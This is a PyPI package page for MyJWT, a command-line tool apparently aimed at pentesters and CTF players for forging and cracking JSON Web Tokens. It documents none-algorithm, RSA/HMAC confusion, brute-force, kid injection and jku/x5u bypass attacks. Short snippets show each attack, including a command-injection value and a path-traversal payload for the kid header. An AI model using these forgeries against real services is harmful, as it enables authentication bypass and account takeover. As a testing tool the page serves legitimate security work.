Skip to main content

MyJWT

mBouamama PyPI BlackArch package PyPI - Python Version PyPI - Download GitHub release (latest by date) Documentation Status Rawsec's CyberSecurity Inventory Code style: black codecov docstr_coverage codebeat badge Updates Known Vulnerabilities

Introduction

This cli is for pentesters, CTF players, or dev.
You can modify your jwt, sign, inject ,etc...
Check Documentation for more information.
If you see problems or enhancement send an issue.I will respond as soon as possible. Enjoy :)

Documentation

Documentation is available at http://myjwt.readthedocs.io

Table of Contents

Features

  • modify jwt (header/Payload)
  • None Vulnerability
  • RSA/HMAC confusion
  • Sign a jwt with key
  • Brute Force to guess key
  • crack jwt with regex to guess key
  • kid injection
  • Jku Bypass
  • X5u Bypass

Installation

To install myjwt, simply use pip:

pip install myjwt

To run mywt from a docker image, run:

docker run -it docker.pkg.github.com/mbouamama/myjwt/myjwt:latest myjwt

# mount volume for wordlist
docker run -v $(pwd)/wordlist:/home/wordlist/  -it docker.pkg.github.com/mbouamama/myjwt/myjwt:latest myjwt
# On Windows
docker run -v %CD%/wordlist:/home/wordlist/  -it docker.pkg.github.com/mbouamama/myjwt/myjwt:latest myjwt

To install myjwt, on git:

git clone https://github.com/mBouamama/MyJWT.git
cd ./MyJWT
pip install -r requirements.txt
python MyJWT/myjwt_cli.py --help

To install myjwt on BlackArch:

pacman -S myjwt

Packaging status

Usage

Usage

Modify JWT

Option Type Example help
--ful-payload JSON {"user": "admin"} New payload for your jwt.
-h, --add-header key=value user=admin Add a new key, value to your jwt header, if key is present old value will be replaced.
-p, --add-payload key=value user=admin Add a new key, value to your jwt payload, if key is present old value will be replaced.

Check Your JWT (HS alg)

Option Type Example help
--sign text mysecretkey Sign Your jwt with your key
--verify text mysecretkey Verify your key.

Exploit

Option Type Example help
-none, --none-vulnerability Nothing Check None Alg vulnerability.
--hmac PATH ./public.pem Check RS/HMAC Alg vulnerability, and sign your jwt with public key.
--bruteforce PATH ./wordlist/big.txt Bruteforce to guess th secret used to sign the token. Use txt file with all password stored(1 by line)
--crack REGEX "[a-z]{4}" regex to iterate all string possibilities to guess the secret used to sign the token.
--kid text "00; echo /etc/.passwd" Kid Injection sql
--jku text MYPUBLICIP Jku Header to bypass authentication, use --file if you want to change your jwks file name, and --key if you want to use your own private pem
--x5u text MYPUBLICIP For jku or x5c Header, use --file if you want to change your jwks file name, and --key if you want to use your own private pem

Send your jwt

Option Type Example help
-u, --url url http://challenge01.root-me.org/web-serveur/ch59/admin Url to send your jwt.
-m, --method text POST Method use to send request to url.(Default: GET).
-d, --data key=value secret=MY_JWT Data send to your url.Format: key=value. if value = MY_JWT value will be replace by your new jwt.
-c, --cookies key=value secret=MY_JWT Cookies to send to your url.Format: key=value.if value = MY_JWT value will be replace by your new jwt.

Other

Option Type Example help
--crt PATH ./public.crt For x5cHeader, force crt file
--key PATH ./private.pem For jku or x5c Header, force private key to your key file
--file text myfile For jku Header, force file name without .json extension
--print Nothing Print Decoded JWT
--help Nothing Show Helper message and exit.
--version Nothing Show Myjwt version

Examples

Modify your Jwt

CLI

myjwt YOUR_JWT --add-payload "username=admin" --add-header "refresh=false"

Code

from myjwt.modify_jwt import add_header, change_payload
from myjwt.utils import jwt_to_json, SIGNATURE, encode_jwt

jwt_json = jwt_to_json(jwt)
jwt_json = add_header(jwt_json, {"kid": "001"})
jwt_json = change_payload(jwt_json, {"username": "admin"})
jwt = encode_jwt(jwt_json) + "." + jwt_json[SIGNATURE]

Full example here: 01-modify-jwt

None Vulnerability

CLI

myjwt YOUR_JWT --none-vulnerability

CODE

from myjwt.utils import jwt_to_json, SIGNATURE, encode_jwt
from myjwt.vulnerabilities import none_vulnerability
jwt_json = jwt_to_json(jwt)
jwt = none_vulnerability(encode_jwt(jwt_json) + "." + jwt_json[SIGNATURE])

Full example here: 02-none-vulnerability

Sign Key

CLI

myjwt YOUR_JWT --sign YOUR_KEY

CODE

from myjwt.modify_jwt import signature
from myjwt.utils import jwt_to_json
key = "test"
jwt = signature(jwt_to_json(jwt), key)

Full example here: 03-sign-key

Brute Force

CLI

myjwt YOUR_JWT --bruteforce PATH

CODE

from myjwt.vulnerabilities import bruteforce_wordlist
wordlist = "../../wordlist/common_pass.txt"
key = bruteforce_wordlist(jwt, wordlist)

Full example here: 04-brute-force

Crack

CLI

myjwt YOUR_JWT --crack REGEX

RSA/HMAC Confusion

CLI

myjwt YOUR_JWT --hmac FILE

CODE

from myjwt.vulnerabilities import confusion_rsa_hmac
file = "public.pem"
jwt = confusion_rsa_hmac(jwt, file)

Full example here: 05-rsa-hmac-confusion

Kid Injection

CLI

myjwt YOUR_JWT --kid INJECTION

Code

from myjwt.modify_jwt import signature
from myjwt.utils import jwt_to_json
from myjwt.vulnerabilities import inject_sql_kid

injection = "../../../../../../dev/null"
sign = ""
jwt = inject_sql_kid(jwt, injection)
jwt = signature(jwt_to_json(jwt), sign)

Full example here: 06-kid-injection

Send your new Jwt to url

CLI

myjwt YOUR_JWT -u YOUR_URL -c "jwt=MY_JWT" --non-vulnerability --add-payload "username=admin"

Jku Vulnerability

CLI

myjwt YOUR_JWT --jku YOUR_URL

Code

from myjwt.vulnerabilities import jku_vulnerability
new_jwt = jku_vulnerability(jwt=jwt, url="MYPUBLIC_IP")
print(jwt)

Full example here: 07-jku-bypass

X5U Vulnerability

CLI

myjwt YOUR_JWT --x5u YOUR_URL

Code

from myjwt.vulnerabilities import x5u_vulnerability
newJwt = x5u_vulnerability(jwt=jwt, url="MYPUBLIC_IP")
print(jwt)

Full example here: 08-x5u-bypass

Download

Check github releases. Latest is available at https://github.com/mBouamama/MyJWT/releases/latest

Contribute

  • Fork this repository or clone it
  • Create a new branch (feature, hotfix, etc...)
  • Make necessary changes and commit those changes
  • Check lint with make flake8
  • Check unit_test with make test
  • Send Pull Request I will check as Soon as Possible.

Change log

The log's become rather long. It moved to its own file.

See CHANGES.

Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

myjwt-1.3.0.tar.gz (54.8 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

myjwt-1.3.0-py3-none-any.whl (22.0 kB view details)

Uploaded Python 3

File details

Details for the file myjwt-1.3.0.tar.gz.

File metadata

  • Download URL: myjwt-1.3.0.tar.gz
  • Upload date:
  • Size: 54.8 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/3.2.0 pkginfo/1.6.1 requests/2.25.1 setuptools/46.4.0 requests-toolbelt/0.9.1 tqdm/4.54.1 CPython/3.8.6

File hashes

Hashes for myjwt-1.3.0.tar.gz
Algorithm Hash digest
SHA256 9fcccaebc2a70fa650fbefc463977786070680cb531cf265e92d09e6a8b3a3b5
MD5 09f361ca99c862aef3236f699d01278a
BLAKE2b-256 81826125595884c72bbeb01965ec07b72f5b8db49949454d120d91d5472cf8b8

See more details on using hashes here.

File details

Details for the file myjwt-1.3.0-py3-none-any.whl.

File metadata

  • Download URL: myjwt-1.3.0-py3-none-any.whl
  • Upload date:
  • Size: 22.0 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/3.2.0 pkginfo/1.6.1 requests/2.25.1 setuptools/46.4.0 requests-toolbelt/0.9.1 tqdm/4.54.1 CPython/3.8.6

File hashes

Hashes for myjwt-1.3.0-py3-none-any.whl
Algorithm Hash digest
SHA256 ec75357531ceb39410c8e80f760252314f688375970a3cae0fe6ab7080c3987f
MD5 4527acebfd45663c16a43409c11092c6
BLAKE2b-256 949359c48b8eca5444eb1a4172019d88c95f8852297371aa8150c39648bd34af

See more details on using hashes here.

Release history Release notifications | RSS feed

2.1.0

2 files

2.0.0

2 files

1.6.0

2 files

1.5.0

2 files

1.4.0

2 files

This release

1.3.0 This release

2 files

1.2.0

2 files

1.1.3

2 files

1.1.2

2 files

1.1.1

2 files

1.1.0

2 files

1.0.2

1 file

1.0.1

2 files

Anthropic, PBC Visionary sponsor Bloomberg Visionary sponsor Hudson River Trading Visionary sponsor Meta Visionary sponsor NVIDIA Visionary sponsor Microsoft Sustainability sponsor Depot Continuous Integration AWS Cloud computing and Security Sponsor Datadog Monitoring Fastly CDN Google Download Analytics Sentry Error logging StatusPage Status page